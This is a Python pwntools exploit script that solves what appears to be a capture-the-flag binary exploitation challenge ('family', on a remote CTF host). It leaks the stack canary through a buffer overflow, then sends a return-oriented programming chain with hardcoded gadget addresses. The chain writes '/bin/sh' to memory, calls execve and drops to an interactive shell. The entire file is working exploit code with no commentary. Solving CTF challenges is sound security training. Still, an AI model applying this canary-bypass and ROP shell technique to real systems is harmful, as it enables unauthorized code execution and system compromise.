#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

if args.REMOTE:
    p = remote('ctf.adl.tw', '11006')
else:
    p = process("./family")

# pause()

bss = 0x6b7000
pop_rsi = 0x410713
pop_rax = 0x44a30c
pop_rdx_rsi = 0x44c929
pop_rdi = 0x400696
pop_rdx = 0x44a365
mov_q_rdx_rax = 0x4188e7
syscall = 0x40132c


payload = flat(
    cyclic(0x19)
)

p.sendafter("Where is my daddy QQ\n", payload)

canary = u64(p.recvuntil('C')[0x18:32]) & 0xFFFFFFFFFFFFFF00

payload = flat(
    cyclic(0x18),
    canary,
    bss+0x20,
    pop_rsi,
    bss,
    pop_rdx,
    0x100,
    0x400c80
)

p.sendafter("ould u help me find my children?\n", payload)

payload = flat(
    cyclic(0x18),
    canary,
    cyclic(0x8),
    pop_rax,
    '/bin/sh\0',
    pop_rdx,
    bss + 0x90,
    mov_q_rdx_rax,
    pop_rdx_rsi,
    0,
    0,
    pop_rdi,
    bss + 0x90,
    pop_rax,
    0x3b,
    syscall
)

p.sendafter(cyclic(0x18), payload)


p.interactive()
p.close()